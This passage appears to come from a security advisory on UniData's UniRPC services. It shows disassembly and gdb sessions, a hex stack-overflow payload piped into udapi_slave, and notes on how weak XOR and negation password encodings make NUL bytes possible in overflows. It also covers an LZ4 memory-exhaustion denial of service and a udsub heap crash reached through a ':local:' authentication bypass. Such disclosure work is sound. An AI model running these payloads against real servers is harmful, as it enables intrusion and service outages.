.text:000000000040FCA1                 mov     rdx, rbp        ; length - length of the user's `account`
string
[...]
.text:000000000040FCAC                 lea     rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1                 mov     rdi, rbx        ; dst = 296-byte buffer
.text:000000000040FCB4                 call    _u2memcpy
```

We implemented a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint. Note that due to the fork, we have to set an extra `gdb` setting to see the child process crash:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[...]
RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()
```

We can also skip all the RPC stuff by running `udapi_slave` directly and sending the payload on stdin:

```
[ron@unidata bin]$ echo -ne
"\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\
x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x0
0\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\
x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x4
1\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\
x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb
0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2
```

```
[...]
Trace/breakpoint trap
```

Because this overflow is in `u2memcpy` instead of `u2strcpy`, NUL bytes are permitted and therefore this is likely to be exploitable.

Weak encryption

There are several different places that obfuscation happens in UniRPC communications where the intent was probably to encrypt instead. At best, they're a simple encoding to hide data on the wire (like negating each byte in a password); at worst, they can cancel out or enable other attacks to work by encoding NUL bytes.

Here, I'll list a few encryption issues that stood out while working on this project.

Encryption bit in UniRPC packet header

The UniRPC packet header is 24 (0x18) bytes long, and has roughly the following fields (we don't have the official names, so these are guesses):

- (1 byte) version byte (always 0x6c)
- (1 byte) other version byte (always 0x01 or 0x02)
- (1 byte) reserved / ignored
- (1 byte) reserved / ignored
- (4 bytes) body length
- (4 bytes) reserved / ignored
- (1 byte) encryption_mode
- (1 byte) is_compressed
- (1 byte) is_encrypted
- (1 byte) reserved / ignored
- (4 bytes) reserved / must be 0
- (2 bytes) argcount
- (2 bytes) data length

This is implemented as part of the libneptune.rb library library for reference.

When set, the `is_encrypted` field tells the receiver that the packet has been obfuscated by XOR'ing every byte of the body with a static byte. Depending on the value of `encryption_mode`, that "key" is either 1 or 2.

This is not useful for encryption, if that was the intent,, because all the information needed to decrypt it is in the packet header.

Password encoding in `udadmin_server`

The first message sent to `udadmin_server` requires three fields:

- (int) opcode
- (string) username
- (string) encoded password

The opcode has to be 15 - it's the authentication code.

The username is a standard string.

The password, however, is a string that is encoded by negating each byte (the function that does this operation is `rpcEncrypt()`). That means that each byte is set to the inverse of the byte (binary 1's become 0 and 0's become 1).

Besides not really protecting the password at all, changing NUL bytes (0x00) to their inverse (0xFF), it makes exploitation of a `strcpy` buffer overflow much, much easier.

Password encoding in `U_rep_rpc_server_submain()`

The `U_rep_rpc_server_submain()` function in `libunidata.so` encodes passwords exactly the same way as `udadmin` (above), and is used by several other RPC services. It has all the same problems, including enabling string-based buffer overflow exploits to contain NUL bytes.

Password encoding in `udapi_server` and `udapi_slave`

`udapi_server` and `udapi_slave` use different (but still trivially decodable) password encodings (in the 4th field of the opening message). Instead of negating each byte, each byte is XOR'd by the `comms_version` field, which is a value between 2 and 4 (inclusive).

This is particularly interesting because, in a normal situation, the login message (with the literal account `username` / `password`) might look like this:

```
$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 00 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  41 42 43 44 00 00 00 00  |........ABCD....|
00000020  41 42 43 44 00 00 00 00  00 00 00 08 00 00 00 03  |ABCD............|
00000030  00 00 00 08 00 00 00 03  00 00 00 04 00 00 00 03  |................|
00000040  00 00 00 02 00 00 00 05  75 73 65 72 6e 61 6d 65  |........username|
00000050  72 63 71 71 75 6d 70 66  2f 74 6d 70              |rcqqumpf/tmp|
```

The literal `username` is in the packet, but the password is encoded to `rcqqumpf`. That's somewhat hidden, but very easy to recognize and break.

But if we then enable packet-level encryption, which can ALSO xor by 2, this might be the message:

```
$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 01 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  43 40 41 46 02 02 02 02  |........C@AF....|
00000020  43 40 41 46 02 02 02 02  02 02 02 0a 02 02 02 01  |C@AF............|
00000030  02 02 02 0a 02 02 02 01  02 02 02 06 02 02 02 01  |................|
00000040  02 02 02 00 02 02 02 07  77 71 67 70 6c 63 6f 67  |........wqgplcog|
00000050  70 61 73 73 77 6f 72 64  2d 76 6f 72              |password-vor|
```

In this case, the body encryption XORs each field by 2, but then the password encryption *also* XORs each field by 2, so you wind up with the password being XOR'ed twice, and therefore not being encoded at all.

To summarize, XOR'ing should not be used twice on the same field, because it cancels out. Passwords should not be transmitted this way at all on a cleartext channel.

Memory exhaustion DoS in LZ4 decompression

UniRPC messages can be compressed using LZ4 compression. The decompression function is `LZ4_decompress_safe`. It appears that `LZ4_decompress_safe` doesn't distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again - over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.

Here's the code in question, from `unirpcd`:

```
.text:000000000040778B      test    eax, eax        ; eax = number of bytes decompressed (if successful)
.text:000000000040778D      jns     decompression_successful ; Jump if it's >0

.text:0000000000407793      mov     eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799      mov     rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0      lea     ebx, [rax+rax]  ; Otherwise, double the buffer size
.text:00000000004077A3      lea     edx, ds:0[rax*8]
.text:00000000004077AA      cmp     eax, 0FFFFh
.text:00000000004077AF      cmovle  ebx, edx
```

```
.text:00000000004077B2      movsxd  rsi, ebx        ; size
.text:00000000004077B5      call    _realloc ; Allocate double the memory
.text:00000000004077BA      test    rax, rax
.text:00000000004077BD      jz      decompression_failed ; Fail if we're out of memory
.text:00000000004077C3      mov     edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7      mov     rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC      mov     ecx, ebx        ; dstCapacity
.text:00000000004077CE      mov     rsi, rax        ; dst
.text:00000000004077D1      mov     cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7      mov     cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE      call    LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3      jmp     short loc_40778B
```

We wrote a proof of concept — unirpc_compression_memory_exhaustion.rb — that will just send a garbage compressed message.

If we run `unirpcd-oneshot` and put a breakpoint on the `realloc` function, then run that script against the server, we'll see increasingly large memory allocations eventually:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...]

RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964    {
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964    {
(gdb) cont
Continuing.

[...]

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964    {
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964    {
```

```
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964    {
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]
```

Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.

Post-authentication heap overflow in udsub

We found a way to crash `udsub` (accessed via the RPC service `unirep82`) by sending a complicated subscription setting. We are including this last, because we didn't actually track down the root cause or determine if it's exploitable or merely a denial of service, we only found a way to crash the service. This also requires authentication, but we can bypass the authentication using the `:local:` account (as discussed above).

The udsub_heapoverflow.rb script will demonstrate the issue; here's what the service looks like when we run that script:

```
[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[... run the script here ...]

RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]
```